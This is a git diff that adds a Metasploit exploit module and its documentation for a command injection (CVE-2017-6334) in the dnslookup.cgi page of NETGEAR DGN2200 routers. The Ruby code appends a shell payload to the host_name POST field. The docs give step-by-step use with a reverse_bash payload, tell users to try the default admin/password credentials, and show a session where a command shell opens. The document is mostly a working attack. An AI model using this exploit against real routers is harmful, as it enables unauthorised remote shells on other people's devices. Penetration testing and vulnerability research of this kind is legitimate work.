diff --git a/documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md b/documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md new file mode 100644 index 0000000000..01af384ccc --- /dev/null +++ b/documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md @@ -0,0 +1,86 @@ +## Vulnerable Application + + NETGEAR DGN2200v1, DGN2200v2, DGN2200v3, DGN2200v4 routers + +## Verification Steps + + 1. start `msfconsole` + 2. `use exploit/linux/http/netger_dnslookup_cmd_exec` + 3. `set RHOST 192.168.1.1` `<--- Router IP` + 4. `set USERNAME xxxx` (see [here](https://github.com/thecarterb/metasploit-framework/blob/ng_dns_cmd_exec-dev/documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md#options)) + 5. `set PASSWORD xxxx` (see [here](https://github.com/thecarterb/metasploit-framework/blob/ng_dns_cmd_exec-dev/documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md#options)) + 5. `set PAYLOAD cmd/unix/reverse_bash` + 6. `set LHOST 192.168.1.x` + 7. `set LPORT xxxx` + 8. `run` + 9. Get a session + +## Options + + **USERNAME** + + The `USERNAME` option sets the username to authenticate the request with. + The command injection will __not__ succeed if the username and password are not correct. + The default username for NETGEAR Routers is `admin`. If you don't know the credentials, + your best bet will be to use the default username and password. + + + **PASSWORD** + + The `PASSWORD`options sets the password to authenticate the request with. + The command injection will __not__ succeed if the username and password are not correct. + The default password for NETGEAR Routers is `password`. If you don't know the credentials, + your best bet will be to use the default username and password. + +## Advanced Options + + **HOSTNAME** + + The request is went with a `host_name` POST parameter. This option sets this parameter. + The default is `www.google.com`. The reason for the parameter is that the file that this + vulnerability is located in (`dnslookup.cgi`) actually needs a domain to resolve, or else + the injection won't work. + + +## Scenarios + + What it should look like against a vulnerable router. + + ``` +msf > use exploit/linux/http/netgear_dnslookup_cmd_exec +msf exploit(netgear_dnslookup_cmd_exec) > options + +Module options (exploit/linux/http/netgear_dnslookup_cmd_exec): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PASSWORD yes Password to authenticate with + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOST yes The target address + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + USERNAME yes Username to authenticate with + VHOST no HTTP server virtual host + + +Exploit target: + + Id Name + -- ---- + 0 NETGEAR DDGN2200 Router + + +msf exploit(netgear_dnslookup_cmd_exec) > set RHOST 192.168.1.1 +RHOST => 192.168.1.1 +msf exploit(netgear_dnslookup_cmd_exec) > set USERNAME admin +USERNAME => admin +msf exploit(netgear_dnslookup_cmd_exec) > set PASSWORD password +PASSWORD => password +msf exploit(netgear_dnslookup_cmd_exec) > run + +[*] Started reverse TCP double handler on 192.168.1.9:4444 +[+] Router is a NETGEAR router (DGN2200v1) +[*] Sending payload... +[*] Command shell session 1 opened (192.168.1.9:4444 -> 192.168.1.9:53352) at 2017-03-02 19:36:47 -0500 +``` + diff --git a/modules/exploits/linux/http/netgear_dnslookup_cmd_exec.rb b/modules/exploits/linux/http/netgear_dnslookup_cmd_exec.rb new file mode 100644 index 0000000000..6818aba1ce --- /dev/null +++ b/modules/exploits/linux/http/netgear_dnslookup_cmd_exec.rb @@ -0,0 +1,108 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'net/http' +require "base64" + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => "Netgear DGN2200 dnslookup.cgi Command Injection", + 'Description' => %q{ + This module exploits a command injection vulnerablity in NETGEAR + DGN2200v1/v2/v3/v4 routers by sending a specially crafted post request + with valid login details. + }, + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Author' => [ + 'thecarterb', # Metasploit Module + 'SivertPL' # Vuln discovery + ], + 'DefaultTarget' => 0, + 'Privileged' => true, + 'Arch' => [ARCH_CMD], + 'Targets' => [ + [ 'NETGEAR DDGN2200 Router', { } ] + ], + 'References' => + [ + [ 'EDB', '41459'], + [ 'CVE', '2017-6334'] + ], + 'DisclosureDate' => 'Feb 25 2017', + )) + + register_options( + [ + Opt::RPORT(80), + OptString.new('USERNAME', [true, 'Username to authenticate with', '']), + OptString.new('PASSWORD', [true, 'Password to authenticate with', '']) + ]) + + register_advanced_options( + [ + OptString.new('HOSTNAME', [true, '"Hostname" to look up (doesn\'t really do anything important)', 'www.google.com']) + ]) + end + + # Requests the login page which tells us the hardware version + def check + res = send_request_cgi({'uri'=>'/'}) + if res.nil? + fail_with(Failure::Unreachable, 'Connection timed out.') + end + # Checks for the `WWW-Authenticate` header in the response + if res.headers["WWW-Authenticate"] + data = res.to_s + marker_one = "Basic realm=\"NETGEAR " + marker_two = "\"" + model = data[/#{marker_one}(.*?)#{marker_two}/m, 1] + vprint_status("Router is a NETGEAR router (#{model})") + model_numbers = ['DGN2200v1', 'DGN2200v2', 'DGN2200v3', 'DGN2200v4'] + if model_numbers.include?(model) + print_good("Router may be vulnerable (NETGEAR #{model})") + return CheckCode::Detected + else + return CheckCode::Safe + end + else + print_error('Router is not a NETGEAR router') + return CheckCode::Safe + end + end + + def exploit + check + + # Convert datastores + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + hostname = datastore['HOSTNAME'] + + vprint_status("Using encoder: #{payload.encoder} ") + print_status('Sending payload...') + + vprint_status("Attempting to authenticate with: #{user}:#{pass} (b64 encoded for auth)") + + creds_combined = Base64.strict_encode64("#{user}:#{pass}") + vprint_status("Encoded authentication: #{creds_combined}") + + res = send_request_cgi({ + 'uri' => '/dnslookup.cgi', + 'headers' => { + 'Authorization' => "Basic #{creds_combined}" + }, + 'vars_post' => { + 'lookup' => 'Lookup', + 'host_name' => hostname + '; ' + payload.encoded + }}) + + end +end